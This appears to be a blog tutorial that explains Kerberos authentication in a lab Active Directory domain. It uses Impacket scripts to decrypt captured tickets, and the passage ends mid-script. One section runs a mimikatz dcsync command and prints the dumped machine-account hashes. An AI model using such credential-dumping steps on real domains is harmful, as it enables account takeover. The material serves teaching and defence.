Windows authentication attacks part 2 – kerberos

Kerberos authentication is one of the cores of the AD, knowing how it works facilitates the deep understanding of many attacks.

Arabic

ده شرح بالعربى للجزئيه الخاصه بكيفية عمل الكيربروس
مش موجود فيها كل اللى مشروح فى البلوج هنا بس فيها اللى يكفيك تفهم المكتوب هنا بسهوله

Overview

Kerberos is a centralized authentication protocol, works using tickets instead of the challenge-response mechanism.
Unlike the permanent channels between the client and the servers which are required and used when authenticating and using service via NTLM, Kerberos depends on stateless login mechanism using trust between the parties involved in the authentication process instead.
The client simply asks for a ticket that proof it’s identity, cache it and uses it when connecting to services.

There is no open tunnel between the client and the service for authentication, actually, the whole authentication process (In normal scenarios) takes place between the client and the KDC before even connecting to the service.
Before proceeding with Kerberos details, we need to make a quick overview regarding Kerberos and put some terms which will be used heavily within this post
1 – Client: this can be any machine requesting access to any service over the network
2 – Key Distribution Center (KDC) which handle the Kerberos authentication requests, it’s usually the domain controller or at least has access to the users and services secrets (Hashes) and consists of 2 services,
A – Authentication server (AS) which receives the client’s authentication requests
B – Ticket Granting Service (TGS), which issue tickets to the client to access the services he needs.
3 – Service: The service you need to gain access to, Both Clients and Services are considered as principals, more on that later.
4 – Realm, which is the uppercase value of the Domain name in the AD environments.

I don’t want to flood your brain with terms, so the rest will follow just in their place during walking through the authentication process, but for now, keep the following on mind:
1 – The whole Kerberos authentication process is going between Client, KDC and service, also it’s centralized and depends on the trust of the client and the service with the KDC.
The KDC has access to users and services credentials, it uses these credentials (Secrets) of both user and service to assure the integrity of the user through a cryptographic process which is the main focus of this post.

2 – Kerberos is used for authentication, not authorization.
This means that Kerberos will help you verify the user’s identity by checking his login data, but yet it won’t help you to verify if the user has or doesn’t have access to the service.
If John is trying to access MSSQL service at 10.0.0.2, Kerberos will validate John’s login credentials, but won’t validate if John has access to the Databases on that MSSQL service or not.
The authorization step depends on the service, Privileged Attribute Certificate (PAC) and the local machine’s or service’s policies are usually used for that matter as will mentioned later.

3 – Kerberos authentication is host-based, not IP based like NTLM, mean if You got a service hosted at machine win2012.jnkfo.lab (192.168.18.12), You should connect to the hostname of the machine instead of the IP address, otherwise, windows will pick up the NTLM authentication instead of Kerberos.
Example: using windows 10 to connect to SMB at win2012.jnkfo.lab (192.168.18.12) using IP address directly.

NTLM authentication was used, unlike connecting using the hostname where Kerberos authentication is used by default.

This is happening because Kerberos requires a Service Principle Name (SPN) while connecting, and before Windows 10 version 1507 and Windows Server 2016 IP addresses couldn’t be used as a part of the SPN name, the only hostname could be used.
More about that at the SPNs part.

Service Principal Names (SPNs)

As mentioned earlier, Users and Services which are used through the Kerberos authentication process are called principals, These principals should have a specific formatted name that complies with Kerberos requirements.
You should differentiate between UPN which is the user principal name and SPN which is the Service principal name
So to connect to an SMB service at host win2012.jnkfo.lab which has the IP address of 192.168.18.12
By default, Kerberos isn’t used to authenticate your client with the SMB using the IP address, it requires what’s called the SPN, which take the following formats

ServiceClass/Host:Port

So for MsSQL, You will find the following SPN

C:\Users\Administrator>setspn -L jnkfo\mssqlserver
Registered ServicePrincipalNames for CN=mssqlserver,CN=Users,DC=jnkfo,DC=lab:
        MSSQLSvc/win2012.jnkfo.lab:1433

MSSQLSvc: is the service class
win2012.jnkfo.lab: is the Host where the service can be found
1433: is the port on which the service is running.
Sysadmins can register the service without adding the port number, it’s not mandatory but it’s needed in several cases.

Services SPNs must be set before using Kerberos for authentication, otherwise, You’ll get a KRB5KDC_ERR_S_PRINCIPAL_UNKNOWN error

An SPN can be registered using

setspn -A ServiceClass/Hostname:Port Domain\Username

Now I can connect to the service normally

After windows server 2016 and Windows 10 version 1507 IP addresses can be used as a part of the SPN, but that’s not the default and requires updating the client’s settings which aren’t our concern today, more details can be found here

There are several default SPNs for windows including CIFS, LDAP, Host, terminal services… etc
The Host SPN itself including several services beneath it, You will find that the “host” SPN is called when executing certain functions.

These services can be obtained from the ADSI

host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,policyagent,oakley,
dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,netdde,netddedsm,nmagent,plugplay,protectedstorage,
rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,scesrv,seclogon,scm,dcom,cifs,spooler,snmp,schedule,
tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,iisadmin,msdt

So don’t get confused when you find the “host” SPN at Wireshark while connecting to some services.

Summary

SPNs are used when authenticating to any service using Kerberos, the service must have a registered SPN in order for Kerberos to be used for authentication.
SPN’s format is ServiceClass/host:port

Kerberos authentication

Setting up

Assume user jnkfo\win10user need to connect to SMB service at win10.jnkfo.lab, I will use Impacket to do so and Wireshark to track everything

The following code will do so

from impacket.smbconnection import SMBConnection
smbconn = SMBConnection("win10.jnkfo.lab", "192.168.18.10")
login = smbconn.kerberosLogin("win10user", "[email protected]", "jnkfo.lab", "","","", kdcHost="192.168.18.2")
print login

Hostname : win10.jnkfo.lab
Host IP: 192.168.18.10
username: win10user
Domain name: jnkfo.lab
KDC Host (Domain controller) : 192.168.18.2

Before executing the code, launch Wireshark and use the following filter “kerberos or smb or smb2” to track just the smb and Kerberos packets

Once u execute the command, you will see some packets in Wireshark

Once you got that, we’re ready to go.

In a nutshell

Let’s split the connection into 2 parts,
1 – Client <—-> KDC
2 – Client <—-> Service

I won’t discuss the SMB negotiation here, it’s already discussed in the previous part, we’re more interested in the Kerberos auth process.
First, the client is contacting the KDC to retrieve a ticket, Then, the client presents that ticket to the service, as proof of his identity.

The 1st part (Client <—-> KDC) involves the following

1 – AS-REQ (Authentication request):

The client hashes the user’s password, uses that hash to encrypt the current timestamp, and sends the encrypted timestamp to the KDC.
The KDC already has a copy of the user’s hash so it uses the hash and tries to decrypt that message to retrieve the timestamp.
If the decryption is successful, then the KDC knows that the client used the correct hash and hence proved his identity to that KDC

2 – AS-REP (Authentication reply): The Authentication service (AS) replies with two messages
A – A session key encrypted using the user’s hash, that key will be used for future messages.
B – TGT (ticket-granting ticket), That TGT contains information regarding the user and his privileges on the domain, This message is encrypted using the hash of the KRBTGT account’s password. That hash is known only to the KDC, so only the KDC can decrypt the TGT.

3 – TGS-REQ (Ticket Granting Service request): The client now has the TGT, he then requests a ticket to access the service he wants, so the client encrypts that request using the session key and sends it to the KDC which will decrypt and validate it. The TGT is also sent in that request.

4 – TGS-REP: After validating the TGT the KDC responds with two messages
A – A message specialized for the targeted service, encrypted with the service’s hash which is stored at the KDC, this includes the information in the TGT as well as a session key
B – A message for the client containing a session key for further requests between the client and the service he asked to access, which is encrypted using the key retrieved from the AS-REP step.

The 2nd part Client <—-> Service
The client presents the message (TGS) from the TGS-REP step while connecting to the service along with an encrypted part, called authenticator message, this part includes the user’s name and timestamp which was encrypted and will be decrypted using the service session key.
Then compare the username and timestamp from the TGS with the username and timestamp from the authenticator message.

That’s how Kerberos works without digging deep, but that’s not enough AT ALL to understand Kerberos attacks.
It’s better to dig deeper in each message and how it’s working, the information it contains, and what each piece of information will be used for.
That’s what I will be discussing using the packets I’ve captured earlier

Pre AS-REQ

1 – The client tries to send an AS-REQ message to the KDC containing the following information

The 1st part includes

  • The message type or the Application class tag number (10)
  • Kerberos version (pvno = 5)
  • The padata which contains the authentication type 128 (PA-PAC-REQUEST) which indicates either PAC is present or not, in this case, you’ll find that Kerberos.include_pac is true so it means “no PAC is present, include the PAC”

The 2nd part includes the ticket flags or attributes

  • Forwardable: The ticket can be forwarded, This flag is typically set during the AS exchange and is used by the TGS when issuing tickets.
  • proxiable: the ticket can be sent to a proxy and used by a proxy.
  • renewable: The client can request to have the ticket renewed instead of having a new ticket issued when the current expires

The 3rd part includes

  • CnameString: which is the username we’re using to login “win10user
  • realm: which is the uppercase of the full name of the domain we’re logging in to “jnkfo.lab”

The 4th part includes

  • SnameString: which is the name of the Kerberos service we need (krbtgt in that case)
  • realm: which is the uppercase of the full name of the domain “jnkfo.lab”

The 5th part includes the encryption algorithm which will be used (AES256 in this case)

The full message is in plaintext, no secrets are shared at all

KRB5KDC_ERR_PREAUTH_REQUIRED

The KDC responds to the client that it needs more information to prove that he own the password (key) of the user he’s authenticating as
that’s the part in which the user’s password or hash is needed.
You’ll find many old parameters included in the message already, but yet some new parameters are sent to the client

  • stime: The current server time
  • susec: The server’s timestamp in microseconds
  • salt: JNKFO.LABwin10user
  • And obviously the error code

AS-REQ

From now and on you’ll notice that there is an encrypted part and a plaintext part, this will be obvious in a few seconds.
In this step, the user’s hash will be used to encrypt the timestamp and send it to the KDC, The packet includes

This request includes everything in the 1st AS-REQ message including

and more importantly, the encrypted timestamp part which can be found at the cipher field.
The value is : e881a392d5eb0f57f7cd023a5b6eaaf5df73c023011fa8837e501769417a90c3ed73372c689c930881129b913904cde1c908fa7469775e39
etype: which is the encryption type used while encrypting the timestamp, which is AES256

to decrypt that message we need to get the AES256 key for the user, then use it to decrypt the cipher
The following code will help

from binascii import unhexlify, hexlify
from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
from pyasn1.codec.der import decoder, encoder
cipher = _enctype_table[18]
password = "[email protected]"
salt = "JNKFO.LABwin10user"
key = cipher.string_to_key(password, salt, None)
#hexlify(key.contents)
mycipher = "e881a392d5eb0f57f7cd023a5b6eaaf5df73c023011fa8837e501769417a90c3ed73372c689c930881129b913904cde1c908fa7469775e39"
enctimestamp = cipher.decrypt(key, 1, unhexlify(mycipher))
dec = decoder.decode(enctimestamp)
for i in dec:
	print i

This will produce the following output, which is the clear text timestamp

Sequence:
 field-0=20200424142303Z
 field-1=197279

The message is sent to to the KDC which will proceed with the authentication process

AS-REP

The KDC has a copy of the user’s key, so if the user encrypted the timestamp using the correct key, the KDC will be able to decrypt it and hence the KDC assured that the client used the user’s correct password.

 

Once this step is done the KDC generates a random session key, sends the AS-REP (Authentication reply), which contain 2 messages

Message A

Which is encrypted using the user’s secret key, and so it can be decrypted and read by the user.
The message contains the following information

  • TGS session key
  • TGS name
  • Timestamp
  • Lifetime

We can decrypt and read these data using win10user’s key, let’s get the key directly from the DC instead of generating it using the plaintext password

The Etype in the packet is 18, meaning we will need the AES256 key,
Using the following script to decrypt the cipher in message A will help us understand what’s going on

from pyasn1.codec.der import decoder, encoder
from binascii import unhexlify, hexlify
from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
cipher = _enctype_table[18]
key = Key(18, unhexlify("1ed620f476644bb555227e913400edf446980824f60564ee4bd3430ca34981c1"))
mycipher = "d20a921ad48dbdf8616f85e05418466c8021f7b45b8adf4ffa59940260c23c2e1eb88fcb2603a6625c81d0a7c840db62bf7cbb4e22d5de52f303155a0098f3e7ea3a98d226c3ff572429df5156656c51d8880bd87c355929189f501970bcd8aeef6405e908131f26c8701075b2314a96de39e4727698081e989bb35716c5dc3081bd071d1c9938b078a170a5697fd3dbe1879ed48a490c8914221d94feb13e126a011dad7584bd1db525dabd159534e936578ff1e4120c3183367d190587aaf64e51e2c140542dbcc170c933cb62ebe3a736674054fa6921732351b5854e6918d79e1614983a224b20af9bc36c28e89a404aa736b6405ed18cd21a5eb7c8a82b5112287aeb650757cd4e"
jnk = cipher.decrypt(key, 3, unhexlify(mycipher))
dec = decoder.decode(jnk)
for i in dec:
  print i

The output is

Sequence:
 field-0=Sequence:
  field-0=18
  field-1=0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64

 field-1=SequenceOf:
  Sequence:
   field-0=0
   field-1=20200424142303Z

 field-2=755736468
 field-3=20200524145835Z
 field-4=1356922880
 field-5=20200424142303Z
 field-6=20200424142303Z
 field-7=20200425002303Z
 field-8=20200425142303Z
 field-9=JNKFO.LAB
 field-10=Sequence:
  field-0=1
  field-1=SequenceOf:
   krbtgt   JNKFO.LAB

You will notice some familiar fields, such as the

  • The TGS service name: krbtgt
  • Realm: jnkfo.lab
  • Session key : 0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64
  • Timestamp: 20200424142303

Message B (TGT)

This includes a plaintext part that contains the SPN (TGS name <krbtgt>) and an encrypted part which is making the Ticket Granting Ticket (TGT).

The 2nd part (enc-part) contains the following information

  • Username
  • Realm
  • Session key
  • Timestamp
  • Lifetime

That part is encrypted using the krbtgt key, which only the KDC knows, and so only KDC can decrypt this part.
We can get the krbtgt key using the same method explained at Message A, and so we can decrypt that cipher using the following code

from pyasn1.codec.der import decoder, encoder
from binascii import unhexlify, hexlify
from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
cipher = _enctype_table[18]
key = Key(18, unhexlify("8b4b161245435ee310d420c195995f2d22b88c680dae09196cd29e4e05723638"))
mycipher = "65c0e02f31835d711d581eafba47461c767aaae82cc2677925822df7ba88fcf2ae1b06c239028c22ab0b69ecb4ccd0da2cc3d5fdbb3f3144f5cee858ce152865dcc6bcf5a6c7288926c85ac7a89c8ce911ebe34bf8f3575ba395b21cdfa74b6103ab7441ed4afa07804dc22a34f102f737c05f2a10ca1b99d926ac13e2f563ccac3cfbdd6049d076803609595b77ff76eaa3a0a18209b7b4159ad8ec2ec9d1c164ebff949918dedf153d9d881d182cad5e1a3f1fc61bd23f4eee710812d8b0bfe5b4d0140700f1efdd2dec1a9f2190a4956bcf4362d101399f910bcbe339f8de33715b947fb7d56d2cd0622dd994963583e9cce686737bd6623b28b18e28eb29a319b4c64f50c28e8736c218039196907e9e5694d2a017bf714b6a94315e32395447e46a34d8dbe9a24d05c95f596ef263ee73e0ff221592631da6ecf5baa07c7441ddd66dd53813d81639be67203a86bd63b188894c30c80b4bf9bc100f0ea8a9d9a5712dc3e311f82c04a2fe01ec73f804e839b7030530952e79fd34df82436665c9a8d8399ffe2f36c611010137cee12847ae04803a54390ad907ca03cbf8a3fe3db1be254861d70aa93b43b3e0ee669dc221297782e3e3e4b6c25c4b6e8f7621e4efc568afd40be7dd9bda17b01282461ee5cf562ca1cdea820d13cdb1fa007e3bde2102bd0ca24e1527dcb0772bb98b7dc0f17c2b699657a6678d73fecc99545e76fcd9fff75598b8129222117f19e56536406cdb42f9fb1ea3820d8c33687dd2e87ba361794841b23fab0d8c8a37d6cd3fe2d033bd861ff89e3ecc894b20b88af2881af91ea3a2b5f26fb5a958292da07bde177cc6a1a7eec04cfdf028366e51fdf0d5a977ce513bbd146c567d15eee7f5e396c2ee9f3e5658b33f5a8c1d60e3fb3e6302df7eba13ba229a2b2b76b52f67a3305e9519a476682c57637822f4f8f3795e50ac9d3095e42bd65ccf5424b1876bbc1e383f188a70876bd44d3212884b6ccd84b35690ea7ee24e9c7495414720ed1958a27f6f66cafc3b2fade20cbc36fde6d88060d19e027f2b4c2d99e77660b2c1f3c9fa70e7e33e893e695b9effeb60e786ee77728a49c308c587d5be72381b30baac7581e72ffaf181a5a15632f89b0fd148823c5ef4f91b631f60733afb0fcbb721b619b7fe6ce86d68b4d056ccf65ab8fea967140590b3318d0869576fd77cce2b0306121b86b45e0584255f37c788b5f888ef41167d74eb0374c7d6fd925f9f82822fdb579f00693494d3ff4334fccec6e1b9eb97ebbc6108f6c59e53078b039ec818fdf32860be1e5a30210ec821a042de32a9ca47975f"
jnk = cipher.decrypt(key, 2, unhexlify(mycipher))
dec = decoder.decode(jnk)
for i in dec:
  print i

Output is

Sequence:
 field-0=1356922880
 field-1=Sequence:
  field-0=18
  field-1=0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64

 field-2=JNKFO.LAB
 field-3=Sequence:
  field-0=1
  field-1=SequenceOf:
   win10user

 field-4=Sequence:
  field-0=0
  field-1=

 field-5=20200424142303Z
 field-6=20200424142303Z
 field-7=20200425002303Z
 field-8=20200425142303Z
 field-9=SequenceOf:
  Sequence:
   field-0=1
   field-1=0x308202ba308202b6a00402020080a18202ac048202a8050000000000000001000000b801000058000000000000000a0000001c00000010020000000000000c000000500000003002000000000000060000001000000080020000000000000700000014000000900200000000000001100800cccccccca80100000000000000000200629531ad411ad601ffffffffffffff7fffffffffffffff7fce9547d7da10d601ce55b101a411d601ce15a1ccdb31d60112001200040002000000000008000200000000000c0002000000000010000200000000001400020000000000180002004f0000005004000001020000010000001c000200200000000000000000000000000000000000000004000600200002000a000c00240002002800020000000000000000001000000000000000000000000000000000000000000000000000000000000000010000002c000200000000000000000000000000090000000000000009000000770069006e003100300075007300650072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000102000007000000030000000000000002000000440043000600000000000000050000004a004e004b0046004f000000040000000104000000000005150000002e9b71bded76d1b44c28fa960100000030000200070000000100000001010000000000120100000000000000803d2fdd431ad6011200770069006e003100300075007300650072000000000026001000120038000100000000000000770069006e0031003000750073006500720040006a006e006b0066006f002e006c006100620000004a004e004b0046004f002e004c004100420000000000000010000000f22e9087d4255c88f2db506376ffffffae3c04a84d7d18d4c9282f7a5da45a3400000000
  • Username and Realm: [email protected]
  • Session key: The same session key as the key in message A
  • Timestamp and lifetime
  • PAC data

So, at this step, once the client gets these messages, it decrypts Message A using the key derived from the user’s password and obtains the session key which as you noticed is the same in messages A and B.

The client can’t decrypt Message B as it’s encrypted using the TGS key (krbtgt hash) as prementioned, but yet the TGT will be stored in the cache to be used later.
Now the client needs to get a ticket with which he can access the service he needs, the SMB service with which we were communicating in the 1st place.

TGS-REQ

At this point, the client will start asking to deal with the targeted service, not the TGT as we were communicating with.

So the client sends the TGS-REQ which includes 2 parts, a plaintext part that indicates the service the client needs to access (The SPN)

Which cifs/win10.jnkfo.lab

and another 2 encrypted messages

Message C

This contains the TGT which was retrieved from the previous step (Message B)

Message D

or the Authenticator, which is an encrypted message generated by the client contains the username and the timestamp

This message (authenticator) is encrypted using the session key retrieved from Message A

The client sends this request to the KDC which do the following

  1. Extract the TGT from message C
  2. Decrypt the TGT at Message C using the TGS key (krbtgt key which is stored at the KDC), and retrieve the session key, username, and the timestamp from the TGT (message B).
  3. Use the session key to decrypt the authenticator which contains the username and the timestamp.
  4. Compare the username and timestamp from the TGT (1) with the username and timestamp from the Authenticator (2)
  5. Check the TGT lifetime to make sure it’s not expired

If everything is ok, then the user proved his identity and the authentication process will go on

TGS-REP

After validating the client’s identity, the KDC needs to create a TGS, the one which the client will use to authenticate to the service.

The KDC generates a random key (Service session key) and sends back the TGS-REP which includes 2 messages.

Message E

This part includes a plaintext part which contains the SPN the user is trying to access (cifs/win10.jnkfo.lab), and another part which is encrypted using the service key, which means that the user is unable to decrypt or manipulate it, this includes the following information

  • Service session key
  • Username
  • Timestamp
  • Lifetime
  • PAC information

as mentioned this part can be decrypted using the service key, for accessing such a service the Kerberos is using the machine key which can be obtained via

imikatz # lsadump::dcsync /user:WIN10$ /domain:jnkfo.lab
[DC] 'jnkfo.lab' will be the domain
[DC] 'DC.jnkfo.lab' will be the DC server
[DC] 'WIN10$' will be the user account

Object RDN           : WIN10

** SAM ACCOUNT **

SAM Username         : WIN10$
Account Type         : 30000001 ( MACHINE_ACCOUNT )
User Account Control : 00001000 ( WORKSTATION_TRUST_ACCOUNT )
Account expiration   :
Password last change : 3/29/2020 7:16:42 PM
Object Security ID   : S-1-5-21-3178339118-3033626349-2532976716-1105
Object Relative ID   : 1105

Credentials:
  Hash NTLM: 1ad9c160bd7ab9cb4b7c890c96862305
    ntlm- 0: 1ad9c160bd7ab9cb4b7c890c96862305
    ntlm- 1: 5e591b183142300b96281c9b75aaaf99
    lm  - 0: 3c0bd3dace8dc8f6fabcb58db7761cf3
    lm  - 1: 1c9cbdcb85af1552edd2e70e4379563d

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : JNKFO.LABhostwin10.jnkfo.lab
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8
      aes128_hmac       (4096) : 1b972a7269a8d841d15bd32577e39a27
      des_cbc_md5       (4096) : b0e97c31dc9edf3b

So this part can be decrypted using

from impacket.krb5.pac import PACTYPE, VALIDATION_INFO
from pyasn1.codec.der import decoder, encoder
from binascii import unhexlify, hexlify
from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
import struct
cipher = _enctype_table[18]
key = Key(18, unhexlify("d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8"))
mycipher = "f9eec5f1876a6f53fdaa7884b03205c743fc009487b1eb8b68594e13a0321a39dc42d5e5f747184ccd1ffb59b5956ee20b53e4b0256d688ddfb01c00082ec86f14bf276c68f86bf9f9244ea0f2a568b0e278f82190b388294500deb8860f6301e5dc383c0c8869fa396ddae8e18230d153b112396ec4cf692f30374fb53e4279e805e681fc724924d0d1288488b0c2b08fb40987620a335ca4613d919b3733c5270f34151d6d4648e8c20d4d3ad3616cc330fed0b7c734cd77add28beda3efe5a04dc148b611be00117ca500fd3ee3d00efebb62085eff1883d5a40a9b150798439e7e6f6e52b102246a9a94bface1409bdf08063d0bedc6c95b4fc65c89dc9f79e98b9f7909882253cfb2c6029e2f308bb9b5ef69c30593365194ea73d55962198c9b6753540adf472165b73a84ec0b74bc37d02658c807f396036cbf3f868c47e8a9873a0eebdbdb46ddb97063ee4972f8e4d405d62606c4ec43497fe44989d2deb14b5ad22a6425bfb90416ac8a4c28bd2c40097c5a63e18eb4b9e158a3785954f5edb6b994f2ed1e03734d1b5da870dcce547e383d09efd4f13c35a19121d7c6a3bbc4267307b5f9d9c9ab84a4a786bb7affce9055c92ed3e9245ad2070116a8cd25dc0545e8602fba1d726bfd2ee4502e1b3b72f2c4ec555a42494390ea97726cbaa1587ac38bfa5280ebce0429f82076d4fb02dc28273b9cf316c58348feb6b693df5dddc3ff216764daac836aadcfbb708827ba01ae81f24e7ce62b95072d075269ba7c69b1f4d6123389cffdcf6f0289d4d17f53987cdd004bd6f6c222dd3a8beb4e16da02b1651848492c5020a713f293f4366280fb0cd9d0586dd62eb531f5cdeeb08fe607971cc4698aa01013e0729978f794f2eb4009c76c56534a9942c3d29d84d630cccfbe3ef78950a57535df0410889eec9197470f556a21235259bb7a82d2cd59738b7ea2ea87e9dc9fc6e1fdc50dd59df0a1818ceade470c05b4b2e4a1c69aba5b0edc5c2e8bb9f28e16bf1bd0b1b960bfc80f7ebc729c3f83aca48b24d411368a95354db446a6450896969644c8892914b974a066ddce78ecd738f76546153095f70177630b6d8d961a806f2b959be6e2a3c73d430f1dae9b562876ff602966f48d65fd33af396ed31c79ca2a8bf409e04779ec0d978f3624441645f290d11b20f5847ea0211d8377ad61127dcbf02a1fa8ab2b7ed51ed9abf0d484c5ac3315d1b864b55d598f6b705509c37fb88eddc65ddb136c090e285c33968f32e1816e29fbcfa307f0cdef28fa7d6b0d54cf1c525e6be479a1"
jnk = cipher.decrypt(key, 2, unhexlify(mycipher))
dec = decoder.decode(jnk)[0]
print "------------------- Ticket Data ------------------"
print dec

the output is

Sequence:
 field-0=1084293120
 field-1=Sequence:
  field-0=23
  field-1=0x2c0d86037d0014a317d8c5aee4e8d339

 field-2=JNKFO.LAB
 field-3=Sequence:
  field-0=1
  field-1=SequenceOf:
   win10user

 field-4=Sequence:
  field-0=1
  field-1=

 field-5=20200424142303Z
 field-6=20200424142303Z
 field-7=20200425002303Z
 field-8=20200425142303Z
 field-9=SequenceOf:
  Sequence:
   field-0=1
   field-1=0x308202ba308202b6a00402020080a18202ac048202a8050000000000000001000000b801000058000000000000000a0000001c00000010020000000000000c000000500000003002000000000000060000001000000080020000000000000700000014000000900200000000000001100800cccccccca80100000000000000000200629531ad411ad601ffffffffffffff7fffffffffffffff7fce9547d7da10d601ce55b101a411d601ce15a1ccdb31d60112001200040002000000000008000200000000000c0002000000000010000200000000001400020000000000180002004f0000005004000001020000010000001c000200200000000000000000000000000000000000000004000600200002000a000c00240002002800020000000000000000001000000000000000000000000000000000000000000000000000000000000000010000002c000200000000000000000000000000090000000000000009000000770069006e003100300075007300650072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000102000007000000030000000000000002000000440043000600000000000000050000004a004e004b0046004f000000040000000104000000000005150000002e9b71bded76d1b44c28fa960100000030000200070000000100000001010000000000120100000000000000803d2fdd431ad6011200770069006e003100300075007300650072000000000026001000120038000100000000000000770069006e0031003000750073006500720040006a006e006b0066006f002e006c006100620000004a004e004b0046004f002e004c004100420000000000000010000000ad9bd35bb460f8b45d7dd91576ffffff69c616734739a1f74cea493a458977f900000000

You’ll note

  • Encryption type: 23
  • A service session key: 2c0d86037d0014a317d8c5aee4e8d339
  • Client name:win10user
  • realm: JNKFO.LAB
  • Timestamp and PAC

Message F

This message is encrypted using the session key which is already cached at the client (check AS-REP), so the user can decrypt this one easily and obtain

  • Service session key
  • Timestamp
  • Lifetime
  • Service name

Note that the Service session key is found in both messages.

So let’s decrypt that cipher using

from impacket.krb5.pac import PACTYPE, VALIDATION_INFO
from pyasn1.codec.der import decoder, encoder
from binascii import unhexlify, hexlify
from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
cipher = _enctype_table[18]
key = Key(18, unhexlify("64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64"))
mycipher = "7d996b5c8ce08c1f8ab31471dde8d6d892a4f8ff3cec5527f357b425786c05e7f3616f6ea6768c47202924f6a9f86308f3ff873f43e9d9a6715da5cb8ce48b2b8ecfac5e738e03cb0546e870d3d8ed300d5fe009de6e4cea0312f4e1c6ca7ca62c502aedbc45e09bb6617753860e7613be068e27aa993b08619ad6ba148659505ca9443525b63186845ae4a69c383587c742a2cb962ff0d2a8b56edb389987d472d76962d0ddb146f1dfcf198a7f9a96a80c8c39637905dde9e1044774a027f0cc17a553ec8a30e71ecda7f78ef80f20cfec0a5ad5bfdb4560e54fbb9935fd6526b7d6404e43952a07f3fca99bb48a2e0b78fa8b2d2e7008365496a989b573"
jnk = cipher.decrypt(key, 8, unhexlify(mycipher))
dec = decoder.decode(jnk)[0]
print dec

The output is

Sequence:
 field-0=Sequence:
  field-0=23
  field-1=0x2c0d86037d0014a317d8c5aee4e8d339

 field-1=SequenceOf:
  Sequence:
   field-0=0
   field-1=20200424142303Z

 field-2=2035677725
 field-3=1084293120
 field-4=20200424142303Z
 field-5=20200424142303Z
 field-6=20200425002303Z
 field-7=20200425142303Z
 field-8=JNKFO.LAB
 field-9=Sequence:
  field-0=2
  field-1=SequenceOf:
   cifs   win10.jnkfo.lab

 field-10=SequenceOf:
  Sequence:
   field-0=165
   field-1=0x1f000000

Did u notice the 2c0d86037d0014a317d8c5aee4e8d339 ?!

So right now the client has obtained the service session key and the service ticket, the client is ready to communicate with the service

Accessing the service (AP-REQ)

The communication between the client and the KDC is now over, the client needs to access the SMB service.
It will do so by sending a couple messages to the service

1 – The service ticket (Message E) which the client got before

2 – Message G or Authenticator message

Which consist of a username and the timestamp, This authenticator is encrypted using the service session key which the client obtained in the previous step from the message F.

Once the service receives this request, it decrypts the service ticket using its own key
Extract the service session key, username, and timestamp
Use the service session key to decrypt the authenticator message and retrieve the username and timestamp

The server then

  1. compares username from the authenticator with the username from the service ticket
  2. compares timestamp from the authenticator with the timestamp from the service ticket
  3. check the lifetime to make sure that the service ticket isn’t expired

If everything is ok, then the authentication process is over, the client is allowed to authenticate to the service as long as the service ticket isn’t expired.

Authorization

As mentioned earlier, the whole process is about authentication, not authorization.
You will notice that there are no privileges checks that took place at all during the entire process, as this will depend on the service or the local machine’s policies itself.
For that matter, the PAC part is also attached to the ticket.
It includes information about the user group memberships among other information.
We can read the PAC attached to the service ticket using

from impacket.krb5.pac import PACTYPE, VALIDATION_INFO
from pyasn1.codec.der import decoder, encoder
from binascii import unhexlify, hexlify
from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
import struct
cipher = _enctype_table[18]
key = Key(18, unhexlify("d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8"))
mycipher = "f9eec5f1876a6f53fdaa7884b03205c743fc009487b1eb8b68594e13a0321a39dc42d5e5f747184ccd1ffb59b5956ee20b53e4b0256d688ddfb01c00082ec86f14bf276c68f86bf9f9244ea0f2a568b0e278f82190b388294500deb8860f6301e5dc383c0c8869fa396ddae8e18230d153b112396ec4cf692f30374fb53e4279e805e681fc724924d0d1288488b0c2b08fb40987620a335ca4613d919b3733c5270f34151d6d4648e8c20d4d3ad3616cc330fed0b7c734cd77add28beda3efe5a04dc148b611be00117ca500fd3ee3d00efebb62085eff1883d5a40a9b150798439e7e6f6e52b102246a9a94bface1409bdf08063d0bedc6c95b4fc65c89dc9f79e98b9f7909882253cfb2c6029e2f308bb9b5ef69c30593365194ea73d55962198c9b6753540adf472165b73a84ec0b74bc37d02658c807f396036cbf3f868c47e8a9873a0eebdbdb46ddb97063ee4972f8e4d405d62606c4ec43497fe44989d2deb14b5ad22a6425bfb90416ac8a4c28bd2c40097c5a63e18eb4b9e158a3785954f5edb6b994f2ed1e03734d1b5da870dcce547e383d09efd4f13c35a19121d7c6a3bbc4267307b5f9d9c9ab84a4a786bb7affce9055c92ed3e9245ad2070116a8cd25dc0545e8602fba1d726bfd2ee4502e1b3b72f2c4ec555a42494390ea97726cbaa1587ac38bfa5280ebce0429f82076d4fb02dc28273b9cf316c58348feb6b693df5dddc3ff216764daac836aadcfbb708827ba01ae81f24e7ce62b95072d075269ba7c69b1f4d6123389cffdcf6f0289d4d17f53987cdd004bd6f6c222dd3a8beb4e16da02b1651848492c5020a713f293f4366280fb0cd9d0586dd62eb531f5cdeeb08fe607971cc4698aa01013e0729978f794f2eb4009c76c56534a9942c3d29d84d630cccfbe3ef78950a57535df0410889eec9197470f556a21235259bb7a82d2cd59738b7ea2ea87e9dc9fc6e1fdc50dd59df0a1818ceade470c05b4b2e4a1c69aba5b0edc5c2e8bb9f28e16bf1bd0b1b960bfc80f7ebc729